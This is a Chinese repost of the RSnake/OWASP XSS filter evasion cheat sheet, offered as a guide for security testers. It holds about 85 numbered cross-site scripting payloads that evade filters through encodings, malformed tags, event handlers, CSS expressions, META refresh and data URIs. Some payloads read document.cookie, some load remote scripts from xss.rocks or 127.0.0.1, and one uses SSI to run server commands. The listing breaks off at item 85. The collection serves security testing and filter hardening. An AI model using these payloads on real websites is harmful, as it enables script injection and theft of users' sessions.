XSS攻击绕过过滤方法大全(转)

2023-11-16

XSS攻击绕过过滤方法大全(约100种)

文章目录


虽然说很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS注入。

这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南。文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录,现在此XSS备忘录将由OWASP维护和完善它。

OWASP 的第一个防御备忘录项目:XSS (Cross Site Scripting)Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者以便帮助他们预防 XSS漏洞,而不是简单的告诉他们需要使用复杂的方法构建应用来预防各种千奇百怪的攻击,这也是OWASP 备忘录系列诞生的原因。

XSS绕过过滤具体方法如下:

1、XSS定位器

在大多数存在漏洞且不需要特定XSS攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。使用URL编码器来对整个代码进行编码。

小技巧:如果你时间很紧想要快速检查页面,通常只要插入“<任意文本>”标签,然后观察页面输出是否明显改变了就可以判断是否存在漏洞:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;

alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–

></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

2、XSS定位器(短)

如果你没有足够的空间并且知道页面上没有存在漏洞的JavaScript,这个字符串是一个不错的简洁XSS注入检查。注入后查看页面源代码并且寻找是否存在**<XSS** 或**<XSS**字样来确认是否存在漏洞?

”;!–”<XSS>=&{()}

3、无过滤绕过

这是一个常规的XSS注入代码,虽然通常它会被防御,但是建议首先去测试一下。(引号在任何现代浏览器中都不需要,所以这里省略了它):

<SCRIPT SRC=http://127.0.0.1/xss.js></SCRIPT>

4、利用多语言进行过滤绕过

‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>

<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>

<script>alert(document.cookie)</script>”>

<img/id=”confirm&lpar;1)”/alt=”/”src=”/”onerror=eval(id)>’”>

<img src=”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“>

5、通过JavaScript命令实现的图片XSS

图片注入使用JavaScript命令实现(IE7.0 不支持在图片上下文中使用JavaScript 命令,但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理):

<IMG SRC=”javascript:alert(‘XSS’);”>

6、无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

7、不区分大小写的XSS攻击向量

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

8、HTML实体

必须有分号才可生效

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

9、重音符混淆

如果你的JavaScript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包含JavaScript 代码。这通常会有很大帮助,因为大部分跨站脚本过滤器都没有过滤这个字符:

<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>

10.、畸形的A标签

跳过HREF标签找到XSS的重点…由DavidCross提交~已在Chrome上验证:

<a onmouseover=”alert(document.cookie)”>xxs link</a>

此外Chrome经常帮你补全确实的引号…如果在这方面遇到问题就直接省略引号,Chrome会帮你补全在URL或脚本中缺少的引号。

<a onmouseover=alert(document.cookie)>xxs link</a>

11、畸形的IMG标签

最初由Begeek发现(短小精湛适用于所有浏览器),这个XSS攻击向量使用了不严格的渲染引擎来构造含有IMG标签并被引号包含的XSS攻击向量。我猜测这种解析原来是为了兼容不规范的编码。这会让它更加难以正确的解析HTML标签:

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

12、fromCharCode函数

如果不允许任何形式的引号,你可以通过执行JavaScript里的fromCharCode函数来创建任何你需要的XSS攻击向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

13、使用默认SRC属性绕过SRC域名过滤器

这种方法可以绕过大多数SRC域名过滤器。将JavaScript代码插入事件方法同样适用于注入使用elements的任何HTML标签,例如Form,Iframe, Input, Embed等等。它同样允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。下面会给出许多不同的可注入事件列表。

<IMG SRC=# onmouseover=”alert(‘xxs’)”>

14、使用默认为空的SRC属性

<IMG SRC= onmouseover=”alert(‘xxs’)”>

15、使用不含SRC属性

<IMG onmouseover=”alert(‘xxs’)”>

16、通过error事件触发alert

<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>

17、对IMG标签中onerror属性进行编码

<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>

18、十进制HTML字符实体编码

所有在IMG标签里直接使用javascript:形式的XSS示例无法在Firefox或Netscape8.1以上浏览器(使用Gecko渲染引擎)运行。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#39;&#88;&#83;&#83;&#39;&#41;>

19、不带分号的十进制HTML字符实体编码

这对于绕过对“&#XX;”形式的XSS过滤非常有用,因为大多数人不知道最长可使用7位数字。这同样对例如$tmp_string =~s/.&#(\d+);./$1/;形式的过滤器有效,这种过滤器是错误的认为HTML字符实体编码需要用分号结尾(无意中发现的):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&

#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

20、不带分号的十六进制HTML字符实体编码

这是有效绕过例如$tmp_string =~ s/.&#(\d+);./$1/;过滤器的方法。这种过滤器错误的认为#号后会跟着数字(十六进制HTML字符实体编码并非如此)

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

21、内嵌TAB

使用TAB来分开XSS攻击代码:

<IMG SRC=”jav ascript:alert(‘XSS’);”>

22、内嵌编码后TAB

使用编码后的TAB来分开XSS攻击代码:

<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>

23、内嵌换行分隔XSS攻击代码

一些网站声称09到13(十进制)的HTML实体字符都可以实现这种攻击,这是不正确的。只有09(TAB),10(换行)和13(回车)有效。查看ASCII字符表获取更多细节。下面几个XSS示例介绍了这些向量。

<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

24、内嵌回车分隔XSS攻击代码

注意:上面使用了比实际需要长的字符串是因为0可以忽略。经常可以遇到过滤器解码十六进制和十进制编码时认为只有2到3位字符。实际规则是1至7位字符:

<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>

25、使用空字符分隔JavaScript指令

空字符同样可以作为XSS攻击向量,但和上面有所区别,你需要使用一些例如Burp工具或在URL字符串里使用%00,亦或你想使用VIM编写自己的注入工具(V@会生成空字符),[email protected]�Opera浏览器(例如Windows版的7.11)还会受另一个字符173(软连字符)的影响。但是空字符%00更加有用并且能帮助绕过真实世界里的过滤器,例如这个例子里的变形:

perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

26、利用IMG标签中JavaScript指令前的空格和元字符

如果过滤器不计算”javascript:”前的空格,这是正确的,因为它们不会被解析,但这点非常有用。因为这会造成错误的假设,就是引号和”javascript:”字样间不能有任何字符。实际情况是你可以插入任何十进制的1至32号字符:

<IMG SRC=” &#14;  javascript:alert(‘XSS’);”>

27、利用非字母非数字字符

FireFox的HTML解析器认为HTML关键词后不能有非字母非数字字符,并且认为这是一个空白或在HTML标签后的无效符号。但问题是有的XSS过滤器认为它们要查找的标记会被空白字符分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:

<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>

基于上面的原理,可以使用模糊测试进行扩展。Gecko渲染引擎允许任何字符包括字母,数字或特殊字符(例如引号,尖括号等)存在于事件名称和等号之间,这会使得更加容易绕过跨站脚本过滤。注意这同样适用于下面看到的重音符:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

Yair Amit让我注意到了IE和Gecko渲染引擎有一点不同行为,在于是否在HTML标签和参数之间允许一个不含空格的斜杠。这会非常有用如果系统不允许空格的时候。

<SCRIPT/SRC=”http://127.0.0.1/xss.js“></SCRIPT>

28、额外的尖括号

由Franz Sedlmaier提交,这个XSS攻击向量可以绕过某些检测引擎,比如先查找第一个匹配的尖括号,然后比较里面的标签内容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整个字符串中的尖括号和相应标签(当然是通过模糊匹配)。双斜杠注释了额外的尖括号来防止出现JavaScript错误:

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

29、未闭合的script标签

在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必须构造类似“>”的跨站脚本攻击向量。Firefox假定闭合HTML标签是安全的并且会为你添加闭合标记。多么体贴!不像不影响Firefox的下一个问题,这不需要在后面有额外的HTML标签。如果需要可以添加引号,但通常是没有必要的,需要注意的是,我并不知道这样注入后HTML会什么样子结束:

<SCRIPT SRC=http://127.0.0.1/xss.js?< B >

30、script标签中的协议解析

这个特定的变体是由Łukasz Pilorz提交的并且基于Ozh提供的协议解析绕过。这个跨站脚本示例在IE和Netscape的IE渲染模式下有效,如果添加了标记在Opera中也可以。这在输入空间有限的情况下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT标签中不需要考虑编码类型因为浏览器会自动识别。

<SCRIPT SRC=//xss.rocks/.j>

31、只含左尖括号的HTML/JavaScript XSS向量

IE渲染引擎不像Firefox,不会向页面中添加额外数据。但它允许在IMG标签中直接使用javascript。这对构造攻击向量是很有用的,因为不需要闭合尖括号。这使得有任何HTML标签都可以进行跨站脚本攻击向量注入。甚至可以不使用”>”闭合标签。注意:这会让HTML页面变得混乱,具体程度取决于下面的HTML标签。这可以绕过以下NIDS正则:/((%3D)|(=))[\n]*((%3C)|<)[\n]+((%3E)|>)/因为不需要”>”闭合。另外在实际对抗XSS过滤器的时候,使用一个半开放的<IFRAME标签替代<IMG标签也是非常有效的。

<IMG SRC=”javascript:alert(‘XSS’)”

32、多个左尖括号

使用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的Gecko渲染引擎下有不同表现。没有左尖括号时,在Firefox中生效,而在Netscape中无效。

<iframe src=http://127.0.0.1/scriptlet.html <

33、JavaScript双重转义

当应用将一些用户输入输出到例如:,这时双引号不会被转义并且可以触发跨站脚本攻击向量。XSS定位器就用了这种方法:

\”;alert(‘XSS’);//

另一种情况是,如果内嵌数据进行了正确的JSON或JavaScript转义,但没有HTML编码,那可以结束原有脚本块并开始你自己的:

</script><script>alert(‘XSS’);</script>

34、闭合title标签

这是一个简单的闭合

标签的XSS攻击向量,可以包含恶意的跨站脚本攻击:
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

35、INPUT image

<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

36、BODY image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

37、IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”>

38、IMG lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”>

39、List-style-image

处理嵌入的图片列表是很麻烦的问题。由于JavaScript指令的原因只能在IE渲染引擎下有效。不是一个特别有用的跨站脚本攻击向量:

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br>

40、图片中引用VBscript

<IMG SRC=’vbscript:msgbox(“XSS”)’>

41、Livescript (仅限旧版本Netscape)

<IMG SRC=”livescript:[code]">

42、SVG对象标签

<svg/onload=alert('XSS')>

43、ECMAScript 6

Set.constructor`alert\x28document.domain\x29```

44、BODY标签

这个方法不需要使用任何例如"javascript:“或”<SCRIPT…"语句来完成XSS攻击。Dan Crowley特别提醒你可以在等号前加入一个空格(“οnlοad=” != “onload =”):

<BODY ONLOAD=alert('XSS')>

45、事件处理程序

在XSS攻击中可使用以下事件(在完稿的时候这是网上最全的列表了)。感谢ReneLedosquet的更新。

1.    FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)

2.    onAbort() (当用户中止加载图片时)

3.    onActivate() (当对象激活时)

4.    onAfterPrint() (用户打印或进行打印预览后触发)

5.    onAfterUpdate() (从数据源对象更新数据后由数据对象触发)

6.    onBeforeActivate() (在对象设置为激活元素前触发)

7.    onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发)

8.    onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)

9.    onBeforeDeactivate() (在当前对象的激活元素变化前触发)

10.  onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)

11.  onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发)

12.  onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数).

13.  onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)

14.  onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)

15.  onBegin() (当元素周期开始时由onbegin 事件立即触发)

16.  onBlur() (另一个窗口弹出当前窗口失去焦点时触发)

17.  onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)

18.  onCellChange() (当数据提供者的数据变化时触发)

19.  onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)

20.  onClick() (表单中点击触发)

21.  onContextMenu() (用户需要在攻击区域点击右键)

22.  onControlSelect() (当用户在一个对象上创建控件选中区时触发)

23.  onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)

24.  onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)

25.  onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)

26.  onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)

27.  onDataSetComplete() (数据源对象中所有数据可用时触发)

28.  onDblClick() (用户双击一个表单元素或链接)

29.  onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)

30.  onDrag() (在元素正在拖动时触发)

31.  onDragEnd() (当用户完成元素的拖动时触发)

32.  onDragLeave() (用户在拖动元素离开放置目标时触发)

33.  onDragEnter() (用户将对象拖拽到合法拖曳目标)

34.  onDragOver() (用户将对象拖拽划过合法拖曳目标)

35.  onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)

36.  onDragStart() (当用户开始拖动元素时触发)

37.  onDrop() (当拖动元素放置在目标区域时触发)

38.  onEnded() (在视频/音频(audio/video)播放结束时触发)

39.  onError() (在加载文档或图像时发生错误)

40.  onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)

41.  onFilterChange() (当滤镜完成状态变更时触发)

42.  onFinish() (当marquee完成滚动时攻击者可以执行攻击)

43.  onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)

44.  onFocusIn() (当元素将要被设置为焦点之前触发)

45.  onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)

46.  onHashChange() (当锚部分发生变化时触发攻击代码)

47.  onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)

48.  onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)

49.  onKeyDown() (用户按下一个键的时候触发)

50.  onKeyPress() (在键盘按键被按下并释放一个键时触发)

51.  onKeyUp() (用户释放一个键时触发)

52.  onLayoutComplete() (用户进行完打印或打印预览时触发)

53.  onLoad() (攻击者在窗口加载后触发攻击代码)

54.  onLoseCapture() (可以由releaseCapture()方法触发)

55.  onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发)

56.  onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件)

57.  onMessage() (当页面收到一个信息时触发事件)

58.  onMouseDown() (攻击者需要让用户点击一个图片触发事件)

59.  onMouseEnter() (光标移动到一个对象或区域时触发)

60.  onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)

61.  onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)

62.  onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)

63.  onMouseOver() (光标移动到一个对象或区域)

64.  onMouseUp() (攻击者需要让用户点击一个图片)

65.  onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)

66.  onMove() (用户或攻击者移动页面时触发)

67.  onMoveEnd() (用户或攻击者移动页面结束时触发)

68.  onMoveStart() (用户或攻击者开始移动页面时触发)

69.  onOffline() (当浏览器从在线模式切换到离线模式时触发)

70.  onOnline() (当浏览器从离线模式切换到在线模式时触发)

71.  onOutOfSync() (当元素与当前时间线失去同步时触发)

72.  onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)

73.  onPause() (在视频或音频暂停时触发)

74.  onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)

75.  onProgress() (攻击者可以在一个FLASH加载时触发事件)

76.  onPropertyChange() (用户或攻击者需要改变元素属性时触发)

77.  onReadyStateChange() (每次 readyState 属性变化时被自动调用)

78.  onRedo() (用户返回上一页面时触发)

79.  onRepeat() (事件在播放完重复播放时触发)

80.  onReset() (用户或攻击者重置表单时触发)

81.  onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)

82.  onResizeEnd() (用户完成改变窗体大小时触发)

83.  onResizeStart() (用户开始改变窗体大小时触发)

84.  onResume() (当元素继续播放时触发)

85.  onReverse() (当元素回放时触发)

86.  onRowsEnter() (用户或攻击者需要改变数据源中的一行)

87.  onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)

88.  onRowDelete() (用户或攻击者需要删除数据源中的一行)

89.  onRowInserted() (user or attacker would needto insert a row in a data source)

90.  onScroll() (用户需要滚动或攻击者使用scrollBy()函数)

91.  onSeek() (当用户在元素上执行查找操作时触发)

92.  onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)

93.  onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)

94.  onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)

95.  onStart() (在marquee 对象开始循环时触发)

96.  onStop() (当用户按下停止按钮或离开页面时触发)

97.  onStorage() (当Web Storage更新时触发)

98.  onSyncRestored() (当元素与它的时间线恢复同步时触发)

99.  onSubmit() (需要用户或攻击者提交表单)

100.onTimeError() (用户或攻击者设置时间属性出现错误时触发)

101.onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)

102.onUndo() (用户返回上一浏览记录页面时触发)

103.onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)

104.onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)

105.seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。)

46、BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

47、& JavaScript包含

<BR SIZE="&{alert('XSS')}">

48、样式表

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

49、远程样式表

(利用像远程样式表一样简单的形式,你可以将XSS攻击代码包含在可使用内置表达式进行重定义的样式参数里。)这只在IE和使用IE渲染模式Netscape8.1+。注意这里没有任何元素在页面中表明这页面包含了JavaScript。提示:这些远程样式表都使用了body标签,所以必须在页面中有除了攻击向量以外的内容存在时才会生效, 也就是如果是空白页的话你必须在页面添加一个字母来让攻击代码生效:

<LINK REL="stylesheet" HREF="http://127.0.0.1/xss.css">

50、远程样式表2

这个和上面一样有效,不过使用了标签。在进行跨站脚本攻击时,如不能同时使用等号或斜杠,这是非常有用的,这种情况在现实世界里不止一次发生了:

<STYLE>@import'http://127.0.0.1/xss.css';</STYLE>

51、远程样式表3

这种方式仅在Opera 8.0(9.x不可以)中有效,但方法比较有创意. 根据RFC2616,设置一个Link头部不是HTTP1.1规范的一部分,但一些浏览器仍然允许这样做 (例如Firefox和 Opera). 这里的技巧是设置一个头部(和普通头部并没有什么区别,只是设置Link: http://xss.rocks/xss.css; REL=stylesheet)并且在远程样式表中包含使用了JavaScript的跨站脚本攻击向量,这一点是FireFox不支持的:

<META HTTP-EQUIV="Link" Content="<http://127.0.0.1/xss.css>; REL=stylesheet">

52、远程样式表4

这仅能在Gecko渲染引擎下有效并且需要在父页面绑定一个XML文件。具有讽刺意味的是 Netscape认为Gecko更安全 ,所以对绝大多数网站来说会受到漏洞影响:

<STYLE>BODY{-moz-binding:url("https://127.0.0.1/xssmoz.xml#xss")}</STYLE>

53、含有分隔JavaScript的STYLE标签

这个XSS会在IE中造成无限循环:

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

54、STYLE属性中使用注释分隔表达式

由Roman Ivanov创建

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

55、含表达式的IMG STYLE

这是一个将上面XSS攻击向量混合的方法,但确实展示了STYLE标签可以用相当复杂的方式分隔,和上面一样,也会让IE进入死循环:

exp/*<A STYLE='no\xss:noxss("*//*");

xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

56、STYLE标签(仅旧版本Netscape可用)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

57、使用背景图像的STYLE标签

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

58、使用背景的STYLE标签

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

59、含STYLE属性的HTML任意标签

IE6.0和IE渲染引擎模式下的Netscape 8.1+并不关心你建立的HTML标签是否存在,只要是由尖括号和字母开始的即可:

<XSS STYLE="behavior: url(xss.htc);">

60、本地htc文件

这和上面两个跨站脚本攻击向量有些不同,因为它使用了一个必须和XSS攻击向量在相同服务器上的.htc文件。这个示例文件通过下载JavaScript并将其作为style属性的一部分运行来进行攻击:

<XSS STYLE="behavior: url(xss.htc);">

61、US-ASCII编码

US-ASCII编码(由Kurt Huwig发现)。它使用了畸形的7位ASCII编码来代替8位。这个XSS攻击向量可以绕过大多数内容过滤器,但是只在主机使用US-ASCII编码传输数据时有效,或者可以自己设置编码格式。相对绕过服务器端过滤,这在绕过WAF跨站脚本过滤时候更有效。Apache Tomcat是目前唯一已知使用US-ASCII编码传输的:

¼script¾alert(¢XSS¢)¼/script¾

62、META

关于meta刷新比较奇怪的是它并不会在头部中发送一个referrer-所以它通常用于不需要referrer的时候:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

63、使用数据的META

URL scheme指令。这个非常有用因为它并不包含任何可见的SCRIPT单词或JavaScript指令,因为它使用了base64编码.请查看RFC 2397寻找更多细节。你同样可以使用具有Base64编码功能的XSS工具来编码HTML或JavaScript:

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

64、含有额外URL参数的META

如果目标站点尝试检查URL是否包含"http://",你可以用以下技术规避它(由Moritz Naumann提交):

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

65、IFRAME

如果允许Iframe那就会有很多XSS问题:

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

66、基于事件IFRAME

Iframes和大多数其他元素可以使用下列事件(由David Cross提交):

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

67、FRAME

Frames和iframe一样有很多XSS问题:

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

68、TABLE

<TABLE BACKGROUND="javascript:alert('XSS')">

69、TD

和上面一样,TD也可以通过BACKGROUND来包含JavaScriptXSS攻击向量:

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

70、DIV背景图像

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

71、含有Unicode XSS利用代码的DIV背景图像

这进行了一些修改来混淆URL参数。原始的漏洞是由RenaudLifchitz在Hotmail发现的:

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

72、含有额外字符的DIV背景图像

Rnaske进行了一个快速的XSS模糊测试来发现IE和安全模式下的Netscape 8.1中任何可以在左括号和JavaScript指令间加入的额外字符。这都是十进制的但是你也可以使用十六进制来填充(以下字符可用:1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

73、DIV表达式

一个非常有效的对抗现实中的跨站脚本过滤器的变体是在冒号和"expression"之间添加一个换行:

<DIV STYLE="width: expression(alert('XSS'));">

74、html 条件选择注释块

只能在IE5.0及更高版本和IE渲染引擎模式下的Netscape 8.1生效。一些网站认为在注释中的任何内容都是安全的并且认为没有必要移除,这就允许我们添加跨站脚本攻击向量。系统会在一些内容周围尝试添加注释标签以便安全的渲染它们。如我们所见,这有时并不起作用:

<!--[if gte IE 4]>

 <SCRIPT>alert('XSS');</SCRIPT>

 <![endif]-->

75、BASE标签

在IE和安全模式下的Netscape 8.1有效。你需要使用//来注释下个字符,这样你就不会造成JavaScript错误并且你的XSS标签可以被渲染。同样,这需要当前网站使用相对路径例如"images/image.jpg"来放置图像而不是绝对路径。如果路径以一个斜杠开头例如"/images/image.jpg"你可以从攻击向量中移除一个斜杠(只有在两个斜杠时注释才会生效):

<BASE HREF="javascript:alert('XSS');//">

76、OBJECT标签

如果允许使用OBJECT,你可以插入一个病毒攻击载荷来感染用户,类似于APPLET标签。链接文件实际是含有你XSS攻击代码的HTML文件:

<OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1/scriptlet.html"></OBJECT>

77、使用EMBED标签加载含有XSS的FLASH文件

如果你添加了属性allowScriptAccess="never"以及allownetworking="internal"则可以减小风险(感谢Jonathan Vanasco提供的信息):

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

78、使用EMBED SVG包含攻击向量

该示例只在FireFox下有效,但是比上面的攻击向量在FireFox下好,因为不需要用户安装或启用FLASH。感谢nEUrOO提供:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

79、在FLASH中使用ActionScript混淆XSS攻击向量

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

80、CDATA混淆的XML数据岛

这个XSS攻击只在IE和使用IE渲染模式的Netscape 8.1下有效-攻击向量由Sec Consult在审计Yahoo时发现

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

81、使用XML数据岛生成含内嵌JavaScript的本地XML文件

这和上面是一样的但是将来源替换为了包含跨站脚本攻击向量的本地XML文件(必须在同一服务器上):

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

82、XML中使用HTML+TIME

这是Grey Magic攻击Hotmail和Yahoo的方法。这只在IE和IE渲染模式下的Netscape8.1有效并且记得需要在HTML域的BODY标签中间才有效:

<HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

83、使用一些字符绕过".js"过滤

你可以将你的JavaScript文件重命名为图像来作为XSS攻击向量:

<SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>

84、SSI(服务端脚本包含)

这需要在服务器端允许SSI来使用XSS攻击向量。似乎不用提示这点,因为如果你可以在服务器端执行指令那一定是有更严重的问题存在:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://127.0.0.1/xss.js></SCRIPT>'"-->

85、PHP

